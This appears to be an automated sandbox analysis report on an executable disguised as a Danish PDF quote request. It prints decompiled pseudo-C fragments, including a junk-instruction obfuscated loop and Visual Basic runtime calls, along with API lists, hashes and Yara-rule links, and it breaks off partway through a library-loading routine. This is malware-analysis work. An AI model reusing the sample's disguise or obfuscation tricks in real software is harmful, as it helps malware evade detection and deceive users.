Instruction ID: 95add0939417f328491d54b67df1b88ca4d01245b84b283babadb6fdebcda12f
Opcode Fuzzy Hash: 29373807c6f1086438108dd75721ab32bc702601683f8e2077fcffe43d749c8c
Instruction Fuzzy Hash: 1C31CC65B2DB100B876A04BE5890927E0C3DFEF211225A73E282DF3394FE78CD4A154C

Uniqueness

Uniqueness Score: -1.00%

Function 004053A3, Relevance: .2, Instructions: 158
COMMON

Download Yara Rule

C-Code - Quality: 38%

			E004053A3(signed int __eax, void* __ebx, intOrPtr* __ecx, void* __edx, void* __eflags, signed long long __fp0) {
				signed int _t6;
				signed int _t8;
				signed int _t9;
				signed int _t10;
				signed int _t12;
				signed int _t14;
				void* _t15;
				void* _t16;
				void* _t18;
				intOrPtr* _t20;
				intOrPtr* _t22;
				intOrPtr* _t24;
				void* _t25;
				void* _t26;
				intOrPtr _t29;
				void* _t33;
				intOrPtr* _t34;
				signed long long _t37;

				_t37 = __fp0;
				_t25 = __edx;
				_t20 = __ecx;
				_t15 = __ebx;
				_t6 = __eax;
				asm("out 0x4, eax");
				_push(_t33);
				if(__eflags >= 0) {
					 *__ecx =  *__ecx - __ebp;
					 *__ecx =  *__ecx - __ebp;
					 *__ecx =  *__ecx - __ebp;
					 *__ecx =  *__ecx - __ebp;
					 *__ecx =  *__ecx - __ebp;
					 *__ecx =  *__ecx - __ebp;
					 *__ecx =  *__ecx - __ebp;
					 *__ecx =  *__ecx - __ebp;
					 *__ecx =  *__ecx - __ebp;
					 *__ecx =  *__ecx - __ebp;
					 *__ecx =  *__ecx - __ebp;
					 *__ecx =  *__ecx - __ebp;
					 *__ecx =  *__ecx - __ebp;
					 *__ecx =  *__ecx - __ebp;
					 *__ecx =  *__ecx - __ebp;
					 *__ecx =  *__ecx - __ebp;
					 *__ecx =  *__ecx - __ebp;
					 *__ecx =  *__ecx - __ebp;
					 *__ecx =  *__ecx - __ebp;
					 *__ecx =  *__ecx - __ebp;
					 *__ecx =  *__ecx - __ebp;
					__eflags =  *__ecx;
				}
				 *_t20 =  *_t20 - _t33;
				 *_t20 =  *_t20 - _t33;
				 *_t20 =  *_t20 - _t33;
				 *_t20 =  *_t20 - _t33;
				 *_t20 =  *_t20 - _t33;
				_t1 = _t6 + 0x433db89;
				 *_t1 =  *((intOrPtr*)(_t6 + 0x433db89)) - _t25;
				__eflags =  *_t1;
				while(1) {
					_t22 = _t20;
					asm("fnop");
					_t26 = _t25;
					asm("fnop");
					_t8 = _t6 ^  *(_t25 + _t15) ^ 0xe6085c1d;
					asm("paddw xmm3, xmm4");
					asm("ftst");
					asm("fpatan");
					asm("pcmpeqd xmm3, xmm4");
					asm("fucom st1");
					asm("lfence");
					asm("psraw xmm6, xmm1");
					asm("f2xm1");
					asm("fprem1");
					asm("pcmpeqb mm1, mm3");
					asm("fnop");
					asm("fnop");
					_t29 =  *_t34;
					_t24 = _t22;
					asm("fnop");
					_t9 = _t8;
					asm("movq xmm7, xmm0");
					_t37 = (_t37 - st6) * st5;
					asm("emms");
					asm("f2xm1");
					asm("pcmpeqd mm6, mm3");
					asm("fmulp st0, st0");
					 *(_t29 + _t15) =  *(_t29 + _t15) | _t9;
					_t20 = _t24;
					_t25 = _t26;
					_t16 = _t15 - 1;
					_t10 = _t9;
					asm("punpcklwd mm7, mm2");
					asm("fldlg2");
					asm("pslld xmm4, 0xa3");
					asm("pmullw xmm3, xmm3");
					asm("faddp st3, st0");
					asm("por mm5, mm0");
					asm("fptan");
					asm("fptan");
					asm("fnop");
					_t18 = _t16 - 1;
					asm("fnop");
					asm("fnop");
					_t12 = _t10;
					asm("psrld mm0, 0xbc");
					asm("pmulhw xmm2, xmm7");
					asm("fabs");
					asm("fldz");
					asm("pmulhw mm0, mm6");
					asm("packuswb xmm1, xmm5");
					asm("fnop");
					asm("wait");
					_t15 = _t18 - 0x25a + 0x258;
					asm("wait");
					if(_t15 >= 0) {
						_t6 = 0;
						asm("pandn xmm5, xmm0");
						asm("paddusw xmm7, xmm5");
						asm("fscale");
						asm("psubb mm3, mm5");
						asm("fyl2xp1");
						asm("punpckldq mm0, mm3");
						continue;
					}
					_t14 = _t12;
					asm("fnop");
					asm("pandn xmm5, xmm0");
					asm("paddusw xmm7, xmm5");
					asm("fscale");
					asm("psubb mm3, mm5");
					asm("fyl2xp1");
					asm("punpckldq mm0, mm3");
					asm("fnop");
					return _t14;
				}
			}

0x004053a3
0x004053a3
0x004053a3
0x004053a3
0x004053a3
0x004053a3
0x004053a5
0x004053a6
0x004053a8
0x004053aa
0x004053ac
0x004053ae
0x004053b0
0x004053b2
0x004053b4
0x004053b6
0x004053b8
0x004053ba
0x004053bc
0x004053be
0x004053c0
0x004053c2
0x004053c4
0x004053c6
0x004053c8
0x004053ca
0x004053cc
0x004053ce
0x004053d0
0x004053d0
0x004053d0
0x004053d1
0x004053d3
0x004053d5
0x004053d7
0x004053d9
0x004053db
0x004053db
0x004053db
0x004053dc
0x004053eb
0x004053ed
0x004053ef
0x004053f1
0x004053f5
0x004053fb
0x004053ff
0x00405401
0x00405403
0x00405407
0x00405409
0x0040540c
0x00405410
0x00405412
0x00405414
0x0040544e
0x00405451
0x00405458
0x0040545d
0x0040545f
0x00405461
0x00405467
0x0040546d
0x00405470
0x00405472
0x00405474
0x00405477
0x004054ab
0x004054b5
0x004054b9
0x004054c0
0x004054c3
0x004054c6
0x004054c9
0x004054cb
0x004054d0
0x004054d4
0x004054d6
0x004054d9
0x004054db
0x00405521
0x00405525
0x00405526
0x0040552a
0x00405531
0x00405533
0x00405537
0x0040553b
0x0040553d
0x00405540
0x00405543
0x00405581
0x0040558d
0x0040558e
0x00405594
0x00405595
0x0040538d
0x0040538f
0x00405393
0x00405397
0x00405399
0x0040539c
0x0040539e
0x00000000
0x0040539e
0x004055a1
0x004055a3
0x004055a7
0x004055ab
0x004055af
0x004055b1
0x004055b4
0x004055b6
0x004055ee
0x004055f2
0x004055f2

Memory Dump Source

Source File: 00000000.00000002.782891180.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.782883111.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.782929771.0000000000413000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.782935706.0000000000414000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c3921530f107ff405dfc1785bbef7f4f486023e06768180c2e48f178c29147a3
Instruction ID: 97a6d5db4555e37706fc6593677f4803f4a715d78dbf087b5b691fe26237f899
Opcode Fuzzy Hash: c3921530f107ff405dfc1785bbef7f4f486023e06768180c2e48f178c29147a3
Instruction Fuzzy Hash: 8E310121B297100BC75A047E8880827E1C2EFEB251325A73E682DF3791FE798D4A194C

Uniqueness

Uniqueness Score: -1.00%

Function 022A1A42, Relevance: .1, Instructions: 96COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.783116967.00000000022A0000.00000040.00000001.sdmp, Offset: 022A0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f8468540a40f00a0410099d5993df04be9a9575b12fbc47af7a73ef3bd26536d
Instruction ID: d980affa403c5cb87e0465585950ed6cbeefeb50ef0732d920cc5aae34a890be
Opcode Fuzzy Hash: f8468540a40f00a0410099d5993df04be9a9575b12fbc47af7a73ef3bd26536d
Instruction Fuzzy Hash: E4316B30661342EFD715AFE88834BE577A2BF01760F58404AEDC94F5D6D765C864CB11

Uniqueness

Uniqueness Score: -1.00%

Function 022A4350, Relevance: .0, Instructions: 27COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.783116967.00000000022A0000.00000040.00000001.sdmp, Offset: 022A0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cc2d4060dd98a47ba7254d88a2634d5a4576e1327dff8007863726bf3b871ca6
Instruction ID: 41f59af90399de56bea428e9a5d6d64ab83fdf3d59a3945aa24ce1d19b8a4156
Opcode Fuzzy Hash: cc2d4060dd98a47ba7254d88a2634d5a4576e1327dff8007863726bf3b871ca6
Instruction Fuzzy Hash: 00F03034321702CFC708EA69D5F4F56B3D5BF99750F258559ED45CBA65C770D800C610

Uniqueness

Uniqueness Score: -1.00%

Function 0040D548, Relevance: .0, Instructions: 8COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.782891180.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.782883111.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.782929771.0000000000413000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.782935706.0000000000414000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cedf0accc4013ca60b6c7b64e1493cc5d0e15c1dab94fc9bfde0bb36bab63784
Instruction ID: b44f3bac37e10d7755c28d6d7417b8f2b285e9ae65fbe6ef255966fe1556a278
Opcode Fuzzy Hash: cedf0accc4013ca60b6c7b64e1493cc5d0e15c1dab94fc9bfde0bb36bab63784
Instruction Fuzzy Hash: E4B01211798103FAF6056EDC5C1252111C0D2007C6360CC33FC00F11D0D678CD08C12D

Uniqueness

Uniqueness Score: -1.00%

Function 022A2582, Relevance: .0, Instructions: 7COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.783116967.00000000022A0000.00000040.00000001.sdmp, Offset: 022A0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 118f3b7c1012fe849ff56f35417f73140200215ea1dfdcd8da7d36a8c59cd1f0
Instruction ID: 0bae347a4e1264fea6fc77f1b2d7d241bbf5cc68a27ba5135b701724cf50dc42
Opcode Fuzzy Hash: 118f3b7c1012fe849ff56f35417f73140200215ea1dfdcd8da7d36a8c59cd1f0
Instruction Fuzzy Hash: C5B092F62026818FFB41DF08C482B0173B0FB10A98B180490E403CBB12C228E900CA00

Uniqueness

Uniqueness Score: -1.00%

Function 022A3EFE, Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.783116967.00000000022A0000.00000040.00000001.sdmp, Offset: 022A0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ab2d7faec90206d04624137dcf391b9a6c0b9a6dad95826754e4c5e29fff86cb
Instruction ID: bebcbd0f18a999ce64e2d619b59837d29f74db5f3d96bd371bc818b82041d4c7
Opcode Fuzzy Hash: ab2d7faec90206d04624137dcf391b9a6c0b9a6dad95826754e4c5e29fff86cb
Instruction Fuzzy Hash: F9B00179662A80CFCE96CF09C290E40B3B4FB48B50F4258D0E8118BB22C268E900CA10

Uniqueness

Uniqueness Score: -1.00%

Function 022A51EB, Relevance: .0, Instructions: 3COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.783116967.00000000022A0000.00000040.00000001.sdmp, Offset: 022A0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6e09167a99d9d6d454fc749f226fceb9ceb7fcdd8360e4657b022434a6bd0e9f
Instruction ID: 58c559178fdb3af3ac1c47ce350fb4c54aa2fad33d0b399ca8acf4eca6ca6bb9
Opcode Fuzzy Hash: 6e09167a99d9d6d454fc749f226fceb9ceb7fcdd8360e4657b022434a6bd0e9f
Instruction Fuzzy Hash:

Uniqueness

Uniqueness Score: -1.00%

Function 00411A34, Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 132
COMMON

Download Yara Rule

C-Code - Quality: 56%

			E00411A34(void* __ebx, void* __edi, void* __esi, intOrPtr* _a4, void* _a24) {
				intOrPtr _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				intOrPtr _v28;
				void* _v32;
				char _v36;
				intOrPtr _v44;
				intOrPtr _v52;
				char _v56;
				intOrPtr* _v60;
				signed int _v64;
				intOrPtr* _v68;
				signed int _v72;
				intOrPtr* _v84;
				signed int _v88;
				signed int _v92;
				intOrPtr* _v96;
				signed int _v100;
				signed int _t72;
				signed int _t77;
				char* _t81;
				signed int _t85;
				void* _t99;
				void* _t101;
				intOrPtr _t102;

				_t102 = _t101 - 0xc;
				 *[fs:0x0] = _t102;
				L00401270();
				_v16 = _t102;
				_v12 = 0x401218;
				_v8 = 0;
				 *((intOrPtr*)( *_a4 + 4))(_a4, __edi, __esi, __ebx, 0x4c,  *[fs:0x0], 0x401276, _t99);
				L004013CC();
				if( *0x41331c != 0) {
					_v84 = 0x41331c;
				} else {
					_push(0x41331c);
					_push(0x40d6f0);
					L00401402();
					_v84 = 0x41331c;
				}
				_v60 =  *_v84;
				_t72 =  *((intOrPtr*)( *_v60 + 0x14))(_v60,  &_v36);
				asm("fclex");
				_v64 = _t72;
				if(_v64 >= 0) {
					_v88 = _v88 & 0x00000000;
				} else {
					_push(0x14);
					_push(0x40d6e0);
					_push(_v60);
					_push(_v64);
					L004013FC();
					_v88 = _t72;
				}
				_v68 = _v36;
				_v44 = 0x80020004;
				_v52 = 0xa;
				L00401270();
				asm("movsd");
				asm("movsd");
				asm("movsd");
				asm("movsd");
				_t77 =  *((intOrPtr*)( *_v68 + 0x13c))(_v68, L"Tomogrammes", 0x10);
				asm("fclex");
				_v72 = _t77;
				if(_v72 >= 0) {
					_v92 = _v92 & 0x00000000;
				} else {
					_push(0x13c);
					_push(0x40d964);
					_push(_v68);
					_push(_v72);
					L004013FC();
					_v92 = _t77;
				}
				L004013F6();
				if( *0x413010 != 0) {
					_v96 = 0x413010;
				} else {
					_push(0x413010);
					_push(0x40dbcc);
					L00401402();
					_v96 = 0x413010;
				}
				_t81 =  &_v36;
				L00401408();
				_v60 = _t81;
				_t85 =  *((intOrPtr*)( *_v60 + 0x78))(_v60,  &_v56, _t81,  *((intOrPtr*)( *((intOrPtr*)( *_v96)) + 0x318))( *_v96));
				asm("fclex");
				_v64 = _t85;
				if(_v64 >= 0) {
					_v100 = _v100 & 0x00000000;
				} else {
					_push(0x78);
					_push(0x40d8e8);
					_push(_v60);
					_push(_v64);
					L004013FC();
					_v100 = _t85;
				}
				_v28 = _v56;
				L004013F6();
				asm("wait");
				_push(0x411bf2);
				L004013F0();
				return _t85;
			}

0x00411a37
0x00411a46
0x00411a50
0x00411a58
0x00411a5b
0x00411a62
0x00411a71
0x00411a7a
0x00411a86
0x00411aa0
0x00411a88
0x00411a88
0x00411a8d
0x00411a92
0x00411a97
0x00411a97
0x00411aac
0x00411abb
0x00411abe
0x00411ac0
0x00411ac7
0x00411ae0
0x00411ac9
0x00411ac9
0x00411acb
0x00411ad0
0x00411ad3
0x00411ad6
0x00411adb
0x00411adb
0x00411ae7
0x00411aea
0x00411af1
0x00411afb
0x00411b05
0x00411b06
0x00411b07
0x00411b08
0x00411b16
0x00411b1c
0x00411b1e
0x00411b25
0x00411b41
0x00411b27
0x00411b27
0x00411b2c
0x00411b31
0x00411b34
0x00411b37
0x00411b3c
0x00411b3c
0x00411b48
0x00411b54
0x00411b6e
0x00411b56
0x00411b56
0x00411b5b
0x00411b60
0x00411b65
0x00411b65
0x00411b89
0x00411b8d
0x00411b92
0x00411ba1
0x00411ba4
0x00411ba6
0x00411bad
0x00411bc6
0x00411baf
0x00411baf
0x00411bb1
0x00411bb6
0x00411bb9
0x00411bbc
0x00411bc1
0x00411bc1
0x00411bcd
0x00411bd3
0x00411bd8
0x00411bd9
0x00411bec
0x00411bf1

APIs

__vbaChkstk.MSVBVM60(?,00401276), ref: 00411A50
__vbaStrCopy.MSVBVM60(?,?,?,?,00401276), ref: 00411A7A
__vbaNew2.MSVBVM60(0040D6F0,0041331C,?,?,?,?,00401276), ref: 00411A92
__vbaHresultCheckObj.MSVBVM60(00000000,?,0040D6E0,00000014), ref: 00411AD6
__vbaChkstk.MSVBVM60 ref: 00411AFB
__vbaHresultCheckObj.MSVBVM60(00000000,?,0040D964,0000013C), ref: 00411B37
__vbaFreeObj.MSVBVM60 ref: 00411B48
__vbaNew2.MSVBVM60(0040DBCC,00413010), ref: 00411B60
__vbaObjSet.MSVBVM60(?,00000000), ref: 00411B8D
__vbaHresultCheckObj.MSVBVM60(00000000,?,0040D8E8,00000078), ref: 00411BBC
__vbaFreeObj.MSVBVM60 ref: 00411BD3
__vbaFreeStr.MSVBVM60(00411BF2), ref: 00411BEC

Strings

Tomogrammes, xrefs: 00411B09

Memory Dump Source

Source File: 00000000.00000002.782891180.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.782883111.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.782929771.0000000000413000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.782935706.0000000000414000.00000002.00020000.sdmp Download File

Similarity

API ID: __vba$CheckFreeHresult$ChkstkNew2$Copy
String ID: Tomogrammes
API String ID: 948179728-3548896454
Opcode ID: 853125edfb690b4c788fb5426967e42526927be58ec2d5018d6da4b39b38acf0
Instruction ID: 1ae01028c9ec29a8b92c8f46ecc02a6caa02ca99c368029bfbc1265369044bb4
Opcode Fuzzy Hash: 853125edfb690b4c788fb5426967e42526927be58ec2d5018d6da4b39b38acf0
Instruction Fuzzy Hash: 4051AE70E40218AFDB00EF95D885BDDBBB5BF08705F10402AF511BB2A1D779A9899B58

Uniqueness

Uniqueness Score: -1.00%

Function 00411C19, Relevance: 18.1, APIs: 12, Instructions: 74
COMMON

Download Yara Rule

C-Code - Quality: 65%

			E00411C19(void* __ebx, void* __edi, void* __esi, intOrPtr* _a4) {
				intOrPtr _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				char _v28;
				void* _v32;
				intOrPtr _v40;
				char _v48;
				char* _v72;
				char _v80;
				intOrPtr _v88;
				char _v96;
				short _v100;
				signed short _t33;
				short _t37;
				void* _t53;
				void* _t55;
				intOrPtr _t56;

				_t56 = _t55 - 0xc;
				 *[fs:0x0] = _t56;
				L00401270();
				_v16 = _t56;
				_v12 = 0x401228;
				_v8 = 0;
				 *((intOrPtr*)( *_a4 + 4))(_a4, __edi, __esi, __ebx, 0x54,  *[fs:0x0], 0x401276, _t53);
				_v40 = 0x69db;
				_v48 = 2;
				_t33 =  &_v48;
				_push(_t33);
				L00401336();
				asm("sbb eax, eax");
				_v100 =  ~( ~( ~_t33));
				L004013B4();
				_t37 = _v100;
				if(_t37 == 0) {
					_push(0x40d6bc);
					_push(0x40d6c4);
					L004013DE();
					L004013E4();
					_push(_t37);
					_push(0x40d6cc);
					L004013DE();
					L004013E4();
					L004013F0();
					_v72 =  &_v28;
					_v80 = 0x4008;
					_push(1);
					_push( &_v80);
					_push( &_v48);
					L00401330();
					_v88 = 0x40d6cc;
					_v96 = 0x8008;
					_push( &_v48);
					_t37 =  &_v96;
					_push(_t37);
					L0040136C();
					_v100 = _t37;
					L004013B4();
				}
				_push(0x411d33);
				L004013F0();
				return _t37;
			}

0x00411c1c
0x00411c2b
0x00411c35
0x00411c3d
0x00411c40
0x00411c47
0x00411c56
0x00411c59
0x00411c60
0x00411c67
0x00411c6a
0x00411c6b
0x00411c73
0x00411c79
0x00411c80
0x00411c85
0x00411c8b
0x00411c8f
0x00411c94
0x00411c99
0x00411ca3
0x00411ca8
0x00411ca9
0x00411cae
0x00411cb8
0x00411cc0
0x00411cc8
0x00411ccb
0x00411cd2
0x00411cd7
0x00411cdb
0x00411cdc
0x00411ce1
0x00411ce8
0x00411cf2
0x00411cf3
0x00411cf6
0x00411cf7
0x00411cfc
0x00411d03
0x00411d03
0x00411d08
0x00411d2d
0x00411d32

APIs

__vbaChkstk.MSVBVM60(?,00401276), ref: 00411C35
#592.MSVBVM60(00000002), ref: 00411C6B
__vbaFreeVar.MSVBVM60(00000002), ref: 00411C80
__vbaStrCat.MSVBVM60(0040D6C4,0040D6BC,00000002), ref: 00411C99
__vbaStrMove.MSVBVM60(0040D6C4,0040D6BC,00000002), ref: 00411CA3
__vbaStrCat.MSVBVM60(0040D6CC,00000000,0040D6C4,0040D6BC,00000002), ref: 00411CAE
__vbaStrMove.MSVBVM60(0040D6CC,00000000,0040D6C4,0040D6BC,00000002), ref: 00411CB8
__vbaFreeStr.MSVBVM60(0040D6CC,00000000,0040D6C4,0040D6BC,00000002), ref: 00411CC0
#619.MSVBVM60(00000002,00004008,00000001,?,?,?,0040D6CC,00000000,0040D6C4,0040D6BC,00000002), ref: 00411CDC
__vbaVarTstNe.MSVBVM60(?,00000002,00000002,00004008,00000001,?,?,?,0040D6CC,00000000,0040D6C4,0040D6BC,00000002), ref: 00411CF7
__vbaFreeVar.MSVBVM60(?,00000002,00000002,00004008,00000001,?,?,?,0040D6CC,00000000,0040D6C4,0040D6BC,00000002), ref: 00411D03
__vbaFreeStr.MSVBVM60(00411D33,?,00000002,00000002,00004008,00000001,?,?,?,0040D6CC,00000000,0040D6C4,0040D6BC,00000002), ref: 00411D2D

Memory Dump Source

Source File: 00000000.00000002.782891180.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.782883111.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.782929771.0000000000413000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.782935706.0000000000414000.00000002.00020000.sdmp Download File

Similarity

API ID: __vba$Free$Move$#592#619Chkstk
String ID:
API String ID: 3686041816-0
Opcode ID: 8e4ac74931ffd432f0402cd6ffa4bc7ce9d1c5c6a69de32f2a311268dbb20c21
Instruction ID: cae3eca949c17e65ae7a1537b6cd03327e91630290c14b7af5d92ea7a88d3055
Opcode Fuzzy Hash: 8e4ac74931ffd432f0402cd6ffa4bc7ce9d1c5c6a69de32f2a311268dbb20c21
Instruction Fuzzy Hash: 56210E71D4020CAADB00EFE5C846ADEBBB8AF04704F10853BE515FB5E1EB789949CB59

Uniqueness

Uniqueness Score: -1.00%

Function 00411938, Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 69
COMMON

Download Yara Rule

C-Code - Quality: 49%

			E00411938(void* __ebx, void* __ecx, void* __edi, void* __esi) {
				intOrPtr _v8;
				intOrPtr _v12;
				char _v24;
				intOrPtr _v32;
				intOrPtr _v40;
				intOrPtr* _v44;
				signed int _v48;
				intOrPtr* _v56;
				signed int _v60;
				char* _t29;
				signed int _t33;
				intOrPtr _t46;

				_push(0x401276);
				_push( *[fs:0x0]);
				 *[fs:0x0] = _t46;
				_push(0x28);
				L00401270();
				_v12 = _t46;
				_v8 = 0x401208;
				if( *0x413010 != 0) {
					_v56 = 0x413010;
				} else {
					_push(0x413010);
					_push(0x40dbcc);
					L00401402();
					_v56 = 0x413010;
				}
				_t29 =  &_v24;
				L00401408();
				_v44 = _t29;
				_v32 = 0x80020004;
				_v40 = 0xa;
				L00401270();
				asm("movsd");
				asm("movsd");
				asm("movsd");
				asm("movsd");
				_t33 =  *((intOrPtr*)( *_v44 + 0x1ec))(_v44, L"temanumret", 0x10, _t29,  *((intOrPtr*)( *((intOrPtr*)( *_v56)) + 0x32c))( *_v56));
				asm("fclex");
				_v48 = _t33;
				if(_v48 >= 0) {
					_v60 = _v60 & 0x00000000;
				} else {
					_push(0x1ec);
					_push(0x40d6a8);
					_push(_v44);
					_push(_v48);
					L004013FC();
					_v60 = _t33;
				}
				L004013F6();
				_push(0x411a21);
				return _t33;
			}

0x0041193d
0x00411948
0x00411949
0x00411950
0x00411953
0x0041195b
0x0041195e
0x0041196c
0x00411986
0x0041196e
0x0041196e
0x00411973
0x00411978
0x0041197d
0x0041197d
0x004119a1
0x004119a5
0x004119aa
0x004119ad
0x004119b4
0x004119be
0x004119c8
0x004119c9
0x004119ca
0x004119cb
0x004119d9
0x004119df
0x004119e1
0x004119e8
0x00411a04
0x004119ea
0x004119ea
0x004119ef
0x004119f4
0x004119f7
0x004119fa
0x004119ff
0x004119ff
0x00411a0b
0x00411a10
0x00000000

APIs

__vbaChkstk.MSVBVM60(?,00401276), ref: 00411953
__vbaNew2.MSVBVM60(0040DBCC,00413010,?,?,?,?,00401276), ref: 00411978
__vbaObjSet.MSVBVM60(?,00000000,?,?,?,?,?,?,?,?,?,?,00401276), ref: 004119A5
__vbaChkstk.MSVBVM60(?,00000000,?,?,?,?,?,?,?,?,?,?,00401276), ref: 004119BE
__vbaHresultCheckObj.MSVBVM60(00000000,?,0040D6A8,000001EC,?,?,?,?,?,?,?,?,?,?,00401276), ref: 004119FA
__vbaFreeObj.MSVBVM60(?,?,?,?,?,?,?,?,?,?,00401276), ref: 00411A0B

Strings

temanumret, xrefs: 004119CC

Memory Dump Source

Source File: 00000000.00000002.782891180.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.782883111.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.782929771.0000000000413000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.782935706.0000000000414000.00000002.00020000.sdmp Download File

Similarity

API ID: __vba$Chkstk$CheckFreeHresultNew2
String ID: temanumret
API String ID: 3189907775-3202663414
Opcode ID: 528bf4ba0cc4752abc41f343a96152a48945ebe7aed097a02eaa56c4b5c4ad83
Instruction ID: 0d2f7c2b56236b52d14335d8fd32b3f04283768547a9413b41de31476403fdd7
Opcode Fuzzy Hash: 528bf4ba0cc4752abc41f343a96152a48945ebe7aed097a02eaa56c4b5c4ad83
Instruction Fuzzy Hash: B2215CB0D51208AFCB00DF95C846BDEBBB9EF09755F20446AF101BB2A1C7B95944DB68

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: Anmodning om tilbud 12-04-2021#U00b7pdf.exe PID: 4552 Parent PID: 6976 Anmodning om tilbud 12-04-2021#U00b7pdf.exeCOMMON

Executed Functions

Function 6D0EB95E, Relevance: 3.1, APIs: 2, Instructions: 69
timeCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E6D0EB95E() {
				long _v8;
				long _v12;
				int _v16;
				long _t19;
				signed int _t26;
				intOrPtr _t30;
				signed int _t35;
				signed int _t36;
				intOrPtr _t37;
				intOrPtr _t38;

				_v12 = _v12 & 0x00000000;
				_v8 = _v8 & 0x00000000;
				GetSystemTimeAdjustment( &_v12,  &_v8,  &_v16); // executed
				_t19 = _v8;
				_t37 =  *0x6d100014; // 0x0
				_t38 =  *0x6d100010; // 0x20b4ac
				_t20 =  ==  ? 0x26161 : _t19;
				_t21 = ( ==  ? 0x26161 : _t19) - 1;
				_t35 = (( ==  ? 0x26161 : _t19) - 1) % 0x2710;
				_t26 = E6D0F7DA0(E6D0F7E50(((( ==  ? 0x26161 : _t19) - 1) / 0x2710 + 1) * 0x2710, 0, _t38, _t37), _t35, 0x2710, 0);
				_t36 = (_t35 << 0x00000020 | _t26) << 2;
				 *0x6d100378 = _t26 << 2;
				 *0x6d10037c = _t36;
				 *0x6d100380 = E6D0F7E50(_t38, _t37, 0x7d0, 0);
				 *0x6d100384 = _t36;
				 *0x6d100388 = E6D0F7E50(_t38, _t37, 0x1388, 0);
				 *0x6d10038c = _t36;
				_t30 = E6D0F7E50(_t38, _t37, 0x32, 0);
				 *0x6d100390 = _t30;
				 *0x6d100394 = _t36;
				return _t30;
			}

0x6d0eb964
0x6d0eb96b
0x6d0eb97b
0x6d0eb981
0x6d0eb98b
0x6d0eb996
0x6d0eb99c
0x6d0eb9a1
0x6d0eb9a2
0x6d0eb9ba
0x6d0eb9c2
0x6d0eb9d0
0x6d0eb9d5
0x6d0eb9e8
0x6d0eb9ed
0x6d0eb9fd
0x6d0eba02
0x6d0eba08
0x6d0eba0f
0x6d0eba14
0x6d0eba1e

APIs

GetSystemTimeAdjustment.KERNEL32(00000000,00000000,?,?,?,00000000), ref: 6D0EB97B
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6D0EB9BA

Memory Dump Source

Source File: 0000000C.00000002.881031241.000000006D0E1000.00000020.00020000.sdmp, Offset: 6D0E0000, based on PE: true

Associated: 0000000C.00000002.881025209.000000006D0E0000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.881046456.000000006D0F9000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.881054935.000000006D100000.00000004.00020000.sdmp Download File
Associated: 0000000C.00000002.881060024.000000006D102000.00000002.00020000.sdmp Download File

Similarity

API ID: AdjustmentSystemTimeUnothrow_t@std@@@__ehfuncinfo$??2@
String ID:
API String ID: 3504748728-0
Opcode ID: 2c45aa29be57b6803aeec4bb3e4d4895ff26fe3af22610dee70786da9254db1d
Instruction ID: 346558d8de891eb183b054344fe3b1e32e95b27277c458071bae7ce8d9787f8f
Opcode Fuzzy Hash: 2c45aa29be57b6803aeec4bb3e4d4895ff26fe3af22610dee70786da9254db1d
Instruction Fuzzy Hash: FF114FB59043087FEB24DF669C85F9B37BCEB8A704F10406EB604E7180DBB45E149B60

Uniqueness

Uniqueness Score: -1.00%

Function 6D0F7664, Relevance: 31.6, APIs: 13, Strings: 5, Instructions: 86
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 50%

			E6D0F7664(void* __ebx, void* __edx, _Unknown_base(*)()* __edi, void* __esi) {
				struct HINSTANCE__* _t1;
				void* _t6;
				void* _t8;
				struct HINSTANCE__* _t12;
				intOrPtr* _t14;
				void* _t19;
				struct HINSTANCE__* _t23;

				_t20 = __edi;
				_t19 = __edx;
				_push(__edi);
				_push(0);
				_push(0xfa0);
				_push(0x6d100b6c);
				L6D0F87F0();
				_t1 = GetModuleHandleW(L"api-ms-win-core-synch-l1-2-0.dll"); // executed
				_t23 = _t1;
				if(_t23 != 0) {
					L2:
					_t14 = GetProcAddress(_t23, "InitializeConditionVariable");
					_t20 = GetProcAddress(_t23, "SleepConditionVariableCS");
					_t24 = GetProcAddress(_t23, "WakeAllConditionVariable");
					if(_t14 == 0 || _t20 == 0 || _t24 == 0) {
						_t6 = CreateEventW(0, 1, 0, 0);
						 *0x6d100b88 = _t6;
						if(_t6 == 0) {
